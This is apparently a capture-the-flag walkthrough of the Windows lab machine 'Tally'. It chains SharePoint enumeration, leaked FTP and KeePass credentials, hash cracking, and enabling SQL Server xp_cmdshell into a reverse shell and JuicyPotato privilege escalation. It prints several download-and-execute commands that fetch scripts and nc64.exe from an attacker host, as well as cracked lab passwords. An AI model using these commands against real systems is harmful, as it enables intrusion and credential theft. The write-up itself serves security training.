**Tally**

Difficulty: Hard

OS: Windows

**Nmap**

Starting with an aggressive nmap scan, we see ports 21, 80, 81, 135, 139, 445, 808, and 1433 are open. Since the scan did not pick up on anonymous login for FTP or gather any information from SMB, we are going to start off with enumerating the website which is shown to be a Microsoft Sharepoint server.

|  |
| --- |

**Website Enumeration**

First step we take when we encounter a website is to start fuzzing for web directories. Sharepoint uses a different directory structure than most web apps we have previously come across, thus we must use a special wordlist for it. Doing this, we get the following (the list of directories is too large):

|  |
| --- |

One of the default directories on Sharepoint is “viewlsts.aspx.” Utilizing this, we come across a web page with documents.

|  |
| --- |

Going into the “Documents” folder, we come across a file titled “ftp-details.” This may contain some credentials for FTP, so we download it. Additionally, we also install libreoffice so we can open this word document.

|  |
| --- |

Opening the document, we find a password for ftp.

| Password: UTDRSCH53c"$6hys |
| --- |

We do not know what user has this password, however, we can possibly guess default users such as anonymous and ftp\_user. Testing these out, we successfully enter ftp with ftp\_user.

|  |
| --- |

**FTP Enumeration**

Enumerating FTP, we come across use “Tim” and his files. Within is a file called “tim.kdbx” which looks interesting. We download this and continue looking. Within his files is a note saying there are credentials stored within the kdbx file we downloaded earlier. Doing a quick google search, kdbx is “KeePass”, a type of database.

| *wget --mirror 'ftp://ftp\_user:UTDRSCH53c"$6hys@10.10.10.59/User/Tim'*  NOTE: Mirrors entire “Tim” user directory onto our machine |
| --- |

Loading the kdbx file into KeePassX, we see the database is password protected.

|  |
| --- |

We need to crack the password, so we utilize “keepass2john” to obtain a hash which we can then use John the Ripper or Hashcat to crack.

| *Keepass2john tim.kdbx* |
| --- |

Looking up the hashcat ID for keepass, we find 13400 is the correct mode.

| *Hashcat --example-hashes | grep keepass -b4* |
| --- |

Now we have everything we need to crack the hash with hashcat.

| *hashcat -m 13400 keepass.hash /opt/rockyou.txt*  Password: simplementeyo |
| --- |

Now that we have the password, we successfully log into the KeePass database.

Going through the database, we find some credentials

| Share: ACCT  Password: Acc0unting |
| --- |

With the password for the ACCT share, we can mount it and start enumerating there.

**ACCT SMB Share**

Confirming we have the ACCT share, we utilize smbclient.

| *Smbclient -L 10.10.10.59 -U Finance* |
| --- |

Now that our credentials are confirmed we are going to mount the ACCT share onto our machine.

| *mount -t cifs -o 'username=Finance,password=Acc0unting' //10.10.10.59/ACCT /mnt/acct* |
| --- |

Enumerating the ACCT share, we eventually come across an executable called “tester.exe”. This is interesting since it is not an off the shelf program and may be insecure in its encoding, thus we run the “strings” command against it to see if we can get anything useful from it. Doing so reveals a username and password for the SQL server. This was found in the “zz\_Migration/Binaries/New Folder/” directory.

| DATABASE=orcharddb;UID=sa;PWD=GWE3V65#6KFH93@4GWTG2G  Used: *strings tester.exe | grep -i pwd* |
| --- |

With these SQL credentials, we use “sqsh” to attempt login.

| *Sqsh -U sa -S 10.10.10.59*  GWE3V65#6KFH93@4GWTG2G |
| --- |

**SQL**

With SQL on windows, we potentially have code execution if “xp\_cmdshell” is enabled. Attempting this comes back with an error, however, we can enable it.

| *EXEC SP\_CONFIGURE ‘show advanced options’, 1*  *Reconfigure*  *Go*  *EXEC SP\_CONFIGURE ‘xp\_cmdshell’, 1*  *Reconfigure*  *Go* |
| --- |

We successfully reconfigure SQL to allow xp\_cmdshell execution. Using this shell, we now have code execution as the user Sarah

| *Xp\_cmdshell ‘whoami’* |
| --- |

With this code execution, we can now get a proper reverse shell and start privilege escalation.

We grab nishang’s reverse powershell script, set up a python server, and use xp\_cmdshell to execute the command to download and execute the nishang script to get our reverse shell.

|  |
| --- |

**Sarah**

As Sarah, we first check what privileges we have and see “SeImpersonagePrivilege” is enabled, meaning JuicyPotato is possible.

| *Whoami /all* |
| --- |

JuicyPotato is a bit complex, so we will be following a guide from the following link. Additionally, we will use a guide for CLSIDs by operating system.

<https://medium.com/r3d-buck3t/impersonating-privileges-with-juicy-potato-e5896b20d505>

<https://ohpe.it/juicy-potato/CLSID/Windows_Server_2016_Standard/>

Doing a quick query, we get the OS of the machine. This will help us determine some potential CLSIDs

|  |
| --- |

We see the server is Microsoft Server 2016 Standard.

Now we download JuicyPotato from our machine onto the target machine

| *Invoke-WebRequest -Uri 'http://10.10.14.34/JuicyPotato.exe' -Outfile JP.exe* |
| --- |

Now we are going to download a script we made in the **Bounty** box called “GetCLSID”

| *iex(new-object net.webclient).downloadstring('http://10.10.14.34/GetCLSID.ps1')* |
| --- |

We then upload nc64.exe for our reverse shell

| *iex(new-object net.webclient).downloadfile('http://10.10.14.34/nc64.exe', 'C:\Users\Sarah\Desktop\nc64.exe')* |
| --- |

Now we have all the components needed to run the JuicyPotato attack.

One thing to note about JuicyPotato is it requires cmd to run for some reason. This is honestly okay and better considering we may have a lower privilege user that cannot use powershell, but in this case we do not.

Putting everything together, we get a shell

| *cmd /c 'jp.exe -t \* -l 9002 -p rev.bat -c {7A6D9C0A-1E7A-41B6-82B4-C3F7A27BA381}'* |
| --- |

Something to note about JP. We used a CLSID that was automatically on the system. We found this with the list posted earlier. We could have also used that ps1 script we uploaded to find potential CLSIDs to exploit. It is all a trial and error process with this exploit - not one of my favorite things to do.